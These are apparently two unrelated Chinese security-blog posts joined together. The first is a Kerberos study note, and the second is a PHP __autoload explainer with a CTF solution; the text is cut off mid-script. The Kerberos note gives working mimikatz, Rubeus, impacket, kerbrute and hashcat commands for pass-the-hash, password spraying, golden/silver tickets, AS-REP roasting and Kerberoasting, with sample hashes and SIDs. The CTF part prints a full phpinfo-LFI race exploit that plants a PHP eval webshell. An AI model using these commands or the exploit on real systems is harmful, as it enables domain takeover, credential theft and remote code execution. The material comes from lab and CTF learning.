kerberos学习小结
文章有点长,请准备10-15分钟的时间阅读哦 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 概念 | DC | 域控 || KDC | 密钥分发中心,域控担任 || AD | 活动目录,包含与用户数据库 || AS | Kerberos认证服务 || TGT | AS分发,TGT认证权证 || TGS | 票据授予服务 || ST | ST服务票据,由TGS服务发送 | krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机 windows密码hash图解如下 AS-REQ AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息 wireshark抓包分析 req-body详细请求包 pvno:kerberos版本号,这里为5 msg-type:消息类型,AS_REQ对应的是krb-as-req(10) padata:主要是一些认证信息,每个认证消息有type和value   PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递     padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)     padata-value:padata的值       etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       cipher:密钥   PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC     padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       padata-value:padata的值         include-PAC:是否包含PAC,这里为True req-body:请求body   padding:填充,这里为0   kdc-options:用于与KDC预定一些选项设置   cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value     name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)     cname-string:名字,也就是请求的用户名       CNameString:请求的用户名,这里为mars2   realm:域名,这里为DRUNKMARS0   sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt     SNameString:这里是用户名 krbtgt     SNameString:这里是域名 DRUNKMARS0   till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具   rtime:到期时间   nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具   etype:加密类型,这里有6个items   address:客户端的请求地址,也就是客户端的主机名     HostAddress MESSI-PC<20>       ddr-type:地址类型,这里是nETBIOS(20)       NetBIOS Name:MESSI-PC<20> (Server service)net config workstation 查看域内信息 AS-REQ过程中的攻击方式 hash传递 msf进行hash传递 只适用于域环境,并且目标主机需要安装 KB2871997补丁 mimikatz进行hash传递 这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下 mimikatz log privilege::debug sekurlsa::ekeys 抓取sid为500的administrator的ntlm哈希 privilege::debug sekurlsa::logonpasswords 执行命令 sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c KB2871997 安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash PTK(pass the key) 获取aes-key: privilege::debug sekurlsa::ekeys 注入aes-key: sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2 域内用户枚举 使用kerbrute工具: https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe前提需要DC需要开启kerberos 88端口 准备用户名保存为txt 使用以下命令 kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt 使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码: KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在 密码喷洒 当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能 使用以下命令 kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519.. 密码同样存在三种错误代码 KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 同样在DC抓包,有4个UNKNOWN,1个REQUIRED AS-REP AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后T 在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥 AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换 AS-REP中的攻击方式 黄金票据 使用mimikatz 先获取krbtgt hash DC执行 mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt" 获得如下信息 sid:S-1-5-21-652679085-3170934373-4288938398-502 ntlm hash:c1833c0783cfd81d3548dd89b017c99a aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50伪造administrator执行(aes256)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi" 伪造administrator执行(krbtgt hash)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi" 导入golden.kirbi,执行命令 kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi查看本地缓存,发现凭据成功导入 kerberos::list 打开新的cmd,用klist查看凭证 dir连接过去,注意这里必须要主机名,不能够用IP连接 这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问 看下权限,处于Domain Users组 查看所有组 net group /do 查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看 net group "Domain Controllers" /do 删除凭据 kerberos::purge 使用impacket 使用kali,不在域内需要把dns改向域控 先生成票据administrator.ccache python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator导入票据 export KRB5CCNAME=administrator.ccache然后访问域控 python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com AS-REP Roasting 在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击 默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解 使用Empire下的powerview.ps1查找域中设置了"不需要kerberos预认证"的用户 Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired 使用ASREPRoast.ps1获取AS-REP返回的hash Import-Module .\ASREPRoast.ps1 Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接 hashcat -m 18200 hash.txt pass.txt --force TGS-REQ 经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2P TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息 TGS-REP TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。 在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。 最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据) enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。 TGS-REP过程中的攻击方式 何为SPN SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。 Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerber 下面通过一个例子来说明SPN的作用: 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。 SPN分为两种类型: 1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.Drunkmars.com 2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下 查看当前域内所有的SPN: setspn -Q \* \*查看指定域Drunkmars.com注册的SPN: setspn -T Drunkmars.com -Q \* \*如果指定域不存在,则默认切换到查找本域的SPN 查找本域内重复的SPN: setspn -X删除指定SPN: setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack查找指定用户/主机名注册的SPN: setspn -L username/hostname Kerberoast攻击 Kerberoast攻击过程: 1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求 2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。 3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。 4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。 首先是请求服务票据 1.Rubeus.exe请求 Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式 Rubeus.exe kerberoast 2.powershell请求 #请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433" #列出服务票据 klist 3.mimikatz请求 请求服务票据 kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433列出服务票据 kerberos::list清除所有票据 kerberos::purge4.Impacket中的GetUserSPNS.py请求 该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。 python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack 导出票据 首先是查看klist或mimikatz.exe "kerberos::list" MSF里面 load kiwi kerberos_ticket_list或 load kiwi kiwi_cmd kerberos::list1.mimikatz导出 mimikatz.exe "kerberos::list /export" "exit"执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件 2.Empire下的Invoke-Kerberoast.ps1 Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat 离线破解服务票据 1.kerberoast中的tgsrepcrack.py python2 tgsrepcrack.py password.txt xx.kirbi 2.hashcat 将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下 hashcat -m 13100 hash.txt pass.txtKerberoast攻击防范 确保服务账号密码为强密码(长度、随机性、定期修改) 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。 白银票据 在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用 要创建白银票据,我们需要知道以下信息: 要伪造的域用户(这里我们一般填写域管理员账户) 域名 域的SID值(就是域成员SID值去掉最后的) 目标服务的FQDN 可利用的服务 服务账号的NTLM哈希 这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。 1.mimikatz获得服务账号的ntlm hash privilege::Debug sekurlsa::logonpasswords 得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c 2.使用白银票据攻击 kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt 3.查看票据 4.访问域控 防御: 伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。 黄金票据和白银票据的不同点 访问权限不同: 黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限 白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的Hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket的利用过程需要访问域控,而Silver Ticket不需要
autoload魔术方法的妙用
前言: __autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload。 什么是autoload魔术方法? 首先还是从官方手册中下手,了解autoload函数 由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。 虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。 举一个简单的例子,假设我们有index.php业务代码如下: <?php function __autoload($classname){ include("class_$classname.php"); } $a = new A();并且我们有class_A.php代码如下: <?php class A{ function __construct(){ echo "I am class A\n"; } }我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。 而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。 所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。 autoload相比手动加载有哪些优势? 虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。 首先假设我们有autoload.php主业务逻辑代码如下: <?php require_once("class_A.php"); require_once("class_B.php"); require_once("class_C.php"); if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。 那么如何解决这一个问题呢? 答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。 因此我们将autoload.php代码修改如下: <?php function __autoload($classname){ require("class_$classname.php"); } if ($_GET["class"] === 'A'){ $a = new A(); } else if ($_GET["class"] === 'B'){ $b = new B(); } else if ($_GET["class"] === 'C'){ $c = new C(); }这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。 除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类A、B、C,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。 那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢? 有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。 从一道CTF题看autoload 首先题目代码如下: <?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date:   2020-10-13 11:25:09 # @Last Modified by:   h1xa # @Last Modified time: 2020-10-19 07:12:57 */ include("flag.php"); error_reporting(0); highlight_file(__FILE__); class CTFSHOW{    private $username;    private $password;    private $vip;    private $secret;    function __construct(){        $this->vip = 0;        $this->secret = $flag;   }    function __destruct(){        echo $this->secret;   }    public function isVIP(){        return $this->vip?TRUE:FALSE;       }   }    function __autoload($class){        if(isset($class)){            $class();   } } #过滤字符 $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET); if(class_exists($__CTFSHOW__)){    echo "class is exists!"; } if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。 然后我们再往下审计: $key = $_SERVER['QUERY_STRING']; if(preg_match('/\_| |\[|\]|\?/', $key)){    die("error"); } $ctf = $_POST['ctf']; extract($_GET);这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值 if(class_exists($__CTFSHOW__)){    echo "class is exists!"; }这一部分有一个函数:class_exists 这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法 而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。 if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){    include($ctf); }而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。 因此我们可以考虑利用文件包含结合phpinfo进行RCE。 这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。 exp链接:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py 说明文档:https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.zh-cn.md 将改exp修改部分后,如下: #!/usr/bin/python import sys import threading import socket attempts_counter = 0 def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):    """   根据提供参数返回请求内容   :param host:HOST   :param port:端口   :param phpinfo_path: phpinfo文件地址   :param lfi_path: 包含lfi的文件地址   :param lfi_param: lfi载入文件时, 指定文件名的参数   :param shell_code: shell代码   :param shell_path: shell代码保存位置   :return:       phpinfo_request: phpinfo 请求内容       lfi_request: lfi 请求内容       tag: 标识内容   """    tag = 'Security Test'   # 搜索验证标识    payload = \ '''{tag}\r <?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r '''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)    request_data = \ '''-----------------------------7dbff1ded0714\r Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r Content-Type: text/plain\r \r {payload} -----------------------------7dbff1ded0714--\r ''' .format(payload=payload)    phpinfo_request = \ '''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r HTTP_ACCEPT: {padding}\r HTTP_USER_AGENT: {padding}\r HTTP_ACCEPT_LANGUAGE: {padding}\r HTTP_PRAGMA: {padding}\r Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r Content-Length: {request_data_length}\r Host: {host}:{port}\r \r {request_data} '''.format(    padding='A' * 4000,    phpinfo_path=phpinfo_path,    request_data_length=len(request_data),    host=host,    port=port,    request_data=request_data   )    lfi_request = \ '''POST {lfi_path}?{lfi_param} HTTP/1.1\r User-Agent: Mozilla/4.0\r Proxy-Connection: Keep-Alive\r Host: {host}\r Content-Type: application/x-www-form-urlencoded\r \r ctf={{}}\r '''.format(    lfi_path=lfi_path,    lfi_param=lfi_param,    host=host   )    return phpinfo_request, tag, lfi_request def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):    """   通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行   :param host:HOST   :param port:端口   :param phpinfo_request: phpinfo页面请求内容   :param offset: tmp_name在phpinfo中的偏移位   :param lfi_request: lfi页面请求内容   :param tag: 标识内容   :return:       tmp_file_name: 临时文件名   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    lfi_socket.connect((host, port))    # 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中    # print(phpinfo_request)    # print(lfi_request)    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while len(phpinfo_response_data) < offset:        # 取不到数据则反复执行        phpinfo_response_data += phpinfo_socket.recv(offset).decode()    try:        tmp_name_index = phpinfo_response_data.index('[tmp_name] =&gt')        # 获取包含payload的临时文件名        tmp_file_name = phpinfo_response_data[                            tmp_name_index + 17:                            tmp_name_index + 31                       ]    except ValueError:        return None    # 2. 再向lfi发送包含payload的临时文件名, 用于包含    lfi_socket.send((lfi_request.format(tmp_file_name)).encode())    # print(lfi_request.format(tmp_file_name))    lfi_response_data = lfi_socket.recv(4096).decode()    # 3. 停止phpinfo socket连接    phpinfo_socket.close()    # 4. 停止lfi socket连接    lfi_socket.close()    if lfi_response_data.find(tag) != -1:        # 5. lfi response中存在标识内容则payload执行成功        return tmp_file_name class ThreadWorker(threading.Thread):    def __init__(self, event, lock, max_attempts,                 host, port, phpinfo_request,                 offset, lfi_request, tag,                 shell_code, shell_path,                 lfi_path, lfi_param):        threading.Thread.__init__(self)        self.event = event        self.lock = lock        self.max_attempts = max_attempts        self.host = host        self.port = port        self.phpinfo_request = phpinfo_request        self.offset = offset        self.lfi_request = lfi_request        self.tag = tag        self.shell_code = shell_code        self.shell_path = shell_path        self.lfi_path = lfi_path        self.lfi_param = lfi_param    def run(self):        global attempts_counter        while not self.event.is_set():            # 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)            with self.lock:                # 获取锁, 执行完后释放                if attempts_counter >= self.max_attempts:                    return                attempts_counter += 1            try:                tmp_file_name = phpinfo_lfi(                    self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)                if self.event.is_set():                    break                if tmp_file_name:                    # 找到tmp_file_name后通过set event停止运行                    print('\n{shell_code} 已经被写入到{shell_path}中'.format(                        shell_code=self.shell_code,                        shell_path=self.shell_path                   ))                    'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'                    print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(                        host=self.host,                        port=self.port,                        lfi_path=self.lfi_path,                        lfi_param=self.lfi_param,                        shell_path=self.shell_path                   ))                    self.event.set()            except socket.error:                return def get_offset(host, port, phpinfo_request):    """   获取tmp_name在phpinfo中的偏移量   :param host: HOST   :param port: 端口   :param phpinfo_request: phpinfo 请求内容   :return:       tmp_name在phpinfo中的偏移量   """    phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    phpinfo_socket.connect((host, port))    phpinfo_socket.send(phpinfo_request.encode())    phpinfo_response_data = ''    while True:        i = phpinfo_socket.recv(4096).decode()        phpinfo_response_data += i        if i == '':            break        # 检测是否是最后一个数据块        if i.endswith('0\r\n\r\n'):            break    phpinfo_socket.close()    tmp_name_index = phpinfo_response_data.find('[tmp_name] =&gt')    print(phpinfo_response_data)    if tmp_name_index == -1:        raise ValueError('没有在phpinfo中找到tmp_name')    print('找到了 {} 在phpinfo内容索引为{}的位置'.format(        phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))    return tmp_name_index + 256 def main():    pool_size = 100    host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'    port = 8080    phpinfo_path = '/'    lfi_path = '/'    lfi_param = 'isVIP=1'    shell_code = '<?php eval($_POST["mb"]);?>'    shell_path = '/tmp/g'    # 最大尝试次数    max_attempts = 1000    print('LFI With PHPInfo()')    # 一 生成phpinfo请求内容, 标志内容, lfi请求内容    phpinfo_request, tag, lfi_request = setup(        host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,        lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)    # 二 获取[tmp_name]在phpinfo中的偏移位    offset = get_offset(host, port, phpinfo_request)    sys.stdout.flush()    thread_event = threading.Event()    thread_lock = threading.Lock()    print('创建线程池 {}...'.format(pool_size))    sys.stdout.flush()    thread_pool = []    for i in range(0, pool_size):        # 三 多线程执行phpinfo_lfi        thread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,                                        host, port, phpinfo_request, offset,                                        lfi_request, tag,                                        shell_code, shell_path,                                        lfi_path, lfi_param                                       ))    for t in thread_pool:        t.start()    try:        while not thread_event.wait(1):            if thread_event.is_set():                break            with thread_lock:                sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))                sys.stdout.flush()                if attempts_counter >= max_attempts:                    # 尝试次数大于最大尝试次数则退出                    break        if thread_event.is_set():            print('''success !''')        else:            print('LJBD!')    except KeyboardInterrupt:        print('\n正在停止所有线程...')        thread_event.set()    for t in thread_pool:        t.join() if __name__ == "__main__":    